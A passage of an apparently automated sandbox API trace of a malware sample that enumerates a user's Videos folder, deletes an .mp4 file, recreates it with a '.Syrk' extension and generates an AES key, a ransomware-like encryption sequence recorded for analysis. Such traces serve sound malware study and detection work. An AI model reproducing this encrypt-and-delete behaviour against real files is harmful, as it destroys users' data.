out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0258.296] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0258.296] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0258.297] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0258.297] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0258.297] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0258.297] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0258.297] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0258.297] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0258.297] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0258.297] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0258.298] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0258.298] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0258.298] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x1a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos", lpFilePart=0x0) returned 0x19 [0258.298] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xbhxbnsb3poh.mp4")) returned 0x20 [0258.298] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0258.298] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", lpFilePart=0x0) returned 0x2a [0258.301] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0258.301] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", lpFilePart=0x0) returned 0x2a [0258.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0258.302] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0258.302] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", lpFilePart=0x0) returned 0x2a [0258.302] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\xbhxbnsb3poh.mp4\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0258.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0258.303] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0258.303] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0258.303] CoTaskMemFree (pv=0x3b0008) [0258.306] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xbhxbnsb3poh.mp4")) returned 0x20 [0258.306] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0258.306] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", nBufferLength=0x2b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4", lpFilePart=0x0) returned 0x2a [0258.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0258.306] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xbhxbnsb3poh.mp4"), fInfoLevelId=0x0, lpFileInformation=0x23afb08 | out: lpFileInformation=0x23afb08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33b05410, ftCreationTime.dwHighDateTime=0x1d9912d, ftLastAccessTime.dwLowDateTime=0x956e2250, ftLastAccessTime.dwHighDateTime=0x1d99749, ftLastWriteTime.dwLowDateTime=0x956e2250, ftLastWriteTime.dwHighDateTime=0x1d99749, nFileSizeHigh=0x0, nFileSizeLow=0x16bf7)) returned 1 [0258.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0258.307] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\xbhxbnsb3poh.mp4")) returned 1 [0258.359] EtwEventActivityIdControl () returned 0x0 [0258.359] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.359] EtwEventActivityIdControl () returned 0x0 [0258.359] EtwEventActivityIdControl () returned 0x0 [0258.359] EtwEventActivityIdControl () returned 0x0 [0258.368] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\xbhxbnsb3poh.mp4.syrk")) returned 0x20 [0258.369] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\xbhxbnsb3poh.mp4.syrk")) returned 0x20 [0258.369] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0258.370] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4.Syrk", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4.Syrk", lpFilePart=0x0) returned 0x2f [0258.370] EtwEventActivityIdControl () returned 0x0 [0258.370] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.371] EtwEventActivityIdControl () returned 0x0 [0258.371] EtwEventActivityIdControl () returned 0x0 [0258.371] EtwEventActivityIdControl () returned 0x0 [0258.379] EtwEventActivityIdControl () returned 0x0 [0258.379] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.380] EtwEventActivityIdControl () returned 0x0 [0258.380] EtwEventActivityIdControl () returned 0x0 [0258.380] EtwEventActivityIdControl () returned 0x0 [0258.384] EtwEventActivityIdControl () returned 0x0 [0258.385] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.385] EtwEventActivityIdControl () returned 0x0 [0258.385] EtwEventActivityIdControl () returned 0x0 [0258.385] EtwEventActivityIdControl () returned 0x0 [0258.390] EtwEventActivityIdControl () returned 0x0 [0258.391] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.391] EtwEventActivityIdControl () returned 0x0 [0258.391] EtwEventActivityIdControl () returned 0x0 [0258.391] EtwEventActivityIdControl () returned 0x0 [0258.453] EtwEventActivityIdControl () returned 0x0 [0258.453] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.454] EtwEventActivityIdControl () returned 0x0 [0258.454] EtwEventActivityIdControl () returned 0x0 [0258.454] EtwEventActivityIdControl () returned 0x0 [0258.458] EtwEventActivityIdControl () returned 0x0 [0258.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0258.464] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\xbhXbnSb3PoH.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\xbhxbnsb3poh.mp4.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23b9100 | out: lpFileInformation=0x23b9100*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157e0070, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x157e0070, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x1589e750, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x16c14)) returned 1 [0258.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0258.465] GetConsoleOutputCP () returned 0x1b5 [0258.467] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0258.467] GetConsoleOutputCP () returned 0x1b5 [0258.467] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0258.467] GetConsoleOutputCP () returned 0x1b5 [0258.467] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0258.468] GetConsoleOutputCP () returned 0x1b5 [0258.468] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0258.468] GetConsoleOutputCP () returned 0x1b5 [0258.468] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0258.468] GetConsoleOutputCP () returned 0x1b5 [0258.469] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0258.469] GetConsoleOutputCP () returned 0x1b5 [0258.469] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0258.469] GetConsoleOutputCP () returned 0x1b5 [0258.469] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0258.469] GetConsoleOutputCP () returned 0x1b5 [0258.470] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0258.470] GetConsoleOutputCP () returned 0x1b5 [0258.470] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0258.470] GetConsoleOutputCP () returned 0x1b5 [0258.470] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0258.470] GetConsoleOutputCP () returned 0x1b5 [0258.470] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0258.471] GetConsoleOutputCP () returned 0x1b5 [0258.471] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0258.471] GetConsoleOutputCP () returned 0x1b5 [0258.471] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0258.471] GetConsoleOutputCP () returned 0x1b5 [0258.471] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0258.471] GetConsoleOutputCP () returned 0x1b5 [0258.472] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0258.472] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0258.473] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0258.473] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23d3358*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23d3358*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0258.474] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0258.474] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0258.477] EtwEventActivityIdControl () returned 0x0 [0258.477] EtwEventActivityIdControl () returned 0x0 [0258.478] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.478] EtwEventActivityIdControl () returned 0x0 [0258.478] EtwEventActivityIdControl () returned 0x0 [0258.478] EtwEventActivityIdControl () returned 0x0 [0258.481] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.481] EtwEventActivityIdControl () returned 0x0 [0258.481] EtwEventActivityIdControl () returned 0x0 [0258.482] EtwEventActivityIdControl () returned 0x0 [0258.484] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d188) returned 1 [0258.486] CryptGenKey (in: hProv=0x5c4d188, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99a20) returned 1 [0258.486] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0258.486] CryptExportKey (in: hKey=0x5c99a20, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0258.486] CryptExportKey (in: hKey=0x5c99a20, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23dad30, pdwDataLen=0x5a2e8c4 | out: pbData=0x23dad30*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0258.487] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.487] EtwEventActivityIdControl () returned 0x0 [0258.487] EtwEventActivityIdControl () returned 0x0 [0258.487] EtwEventActivityIdControl () returned 0x0 [0258.488] SysStringLen (param_1="") returned 0x8 [0258.488] SysStringLen (param_1="v") returned 0x8 [0258.488] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.489] SysStringLen (param_1="㉣죌뽻㮠觫\ꗜ⊜) returned 0x8 [0258.489] SysStringLen (param_1="㉣죌뽻㮠觫\ꗜ⊜) returned 0x8 [0258.489] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.489] SysStringLen (param_1="vR") returned 0x8 [0258.489] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.489] SysStringLen (param_1="禕뜞⪋莆Ὦ惒恤") returned 0x8 [0258.489] SysStringLen (param_1="禕뜞⪋莆Ὦ惒恤") returned 0x8 [0258.489] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.489] SysStringLen (param_1="vRd") returned 0x8 [0258.489] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.490] SysStringLen (param_1="猉룪䆭隼鉂砧鴬") returned 0x8 [0258.490] SysStringLen (param_1="猉룪䆭隼鉂砧鴬") returned 0x8 [0258.490] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.490] SysStringLen (param_1="vRdw") returned 0x8 [0258.490] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.490] SysStringLen (param_1="攤矖黚\燜䮰⡏ꛛ⋊) returned 0x8 [0258.490] SysStringLen (param_1="攤矖黚\燜䮰⡏ꛛ⋊) returned 0x8 [0258.490] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.490] SysStringLen (param_1="vRdw9") returned 0x8 [0258.490] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.491] SysStringLen (param_1="彃㼒柩梵ꐙ耴熖⇾") returned 0x8 [0258.491] SysStringLen (param_1="彃㼒柩梵ꐙ耴熖⇾") returned 0x8 [0258.491] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.491] SysStringLen (param_1="vRdw9h") returned 0x8 [0258.491] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.491] SysStringLen (param_1="㗑膝ꊢ谎뵬") returned 0x8 [0258.491] SysStringLen (param_1="㗑膝ꊢ谎뵬") returned 0x8 [0258.491] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.491] SysStringLen (param_1="vRdw9hX") returned 0x8 [0258.491] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.492] SysStringLen (param_1="첄䡻ꨔ钂쪨瓉菴") returned 0x8 [0258.492] SysStringLen (param_1="첄䡻ꨔ钂쪨瓉菴") returned 0x8 [0258.492] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.492] SysStringLen (param_1="vRdw9hXq") returned 0x8 [0258.492] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.492] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓") returned 0x8 [0258.492] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓") returned 0x8 [0258.492] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓") returned 0x8 [0258.493] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓") returned 0x10 [0258.493] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.493] SysStringLen (param_1="vRdw9hXqAᐁ暎䚩᧕쿈뽨") returned 0x10 [0258.493] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.494] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓㈂䰸浑硄蓍") returned 0x10 [0258.494] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓㈂䰸浑硄蓍") returned 0x10 [0258.494] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.494] SysStringLen (param_1="vRdw9hXqAi暎䚩᧕쿈뽨") returned 0x10 [0258.494] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.494] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓嵣공Ḃ凷泬ሚ") returned 0x10 [0258.494] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓嵣공Ḃ凷泬ሚ") returned 0x10 [0258.494] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.494] SysStringLen (param_1="vRdw9hXqAio䚩᧕쿈뽨") returned 0x10 [0258.494] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.495] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓㮺煤苐䐘䄋勾돆㞞") returned 0x10 [0258.495] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓㮺煤苐䐘䄋勾돆㞞") returned 0x10 [0258.495] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.495] SysStringLen (param_1="vRdw9hXqAioq䚩᧕쿈뽨") returned 0x10 [0258.495] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.495] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓磻簷⒱休칌服ᮇ") returned 0x10 [0258.495] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓磻簷⒱休칌服ᮇ") returned 0x10 [0258.495] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.495] SysStringLen (param_1="vRdw9hXqAioqh᧕쿈뽨") returned 0x10 [0258.495] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.496] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓\짝窢鲜ꃠ촗≱) returned 0x10 [0258.496] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓\짝窢鲜ꃠ촗≱) returned 0x10 [0258.496] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.496] SysStringLen (param_1="vRdw9hXqAioqh9쿈뽨") returned 0x10 [0258.496] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.496] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓ᵬ\䣚礒坔萞⋐) returned 0x10 [0258.496] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓ᵬ\䣚礒坔萞⋐) returned 0x10 [0258.496] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.496] SysStringLen (param_1="vRdw9hXqAioqh9E뽨") returned 0x10 [0258.496] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.497] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓唾ꈟ恄ꛝ醫抑䤉ೊ") returned 0x10 [0258.497] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓唾ꈟ恄ꛝ醫抑䤉ೊ") returned 0x10 [0258.497] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.497] SysStringLen (param_1="vRdw9hXqAioqh9EX") returned 0x10 [0258.497] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.497] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒") returned 0x10 [0258.915] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒") returned 0x10 [0258.915] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒") returned 0x10 [0258.916] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒") returned 0x18 [0258.916] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.916] SysStringLen (param_1="vRdw9hXqAioqh9EXqᡷ篁믍✴ͭ郥⡷") returned 0x18 [0258.916] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.916] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒꺂ߎ캷漾Ҧ䭿") returned 0x18 [0258.916] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒꺂ߎ캷漾Ҧ䭿") returned 0x18 [0258.916] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.916] SysStringLen (param_1="vRdw9hXqAioqh9EXq/篁믍✴ͭ郥⡷") returned 0x18 [0258.916] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.917] SysStringLen (param_1="᏷Ⲕᇧ䈰쵆꾪벻牓⃢ನă곛딒᛭爇쾥‒͒啺儮ꫝ") returned 0x18 [0258.917] SysStringLen 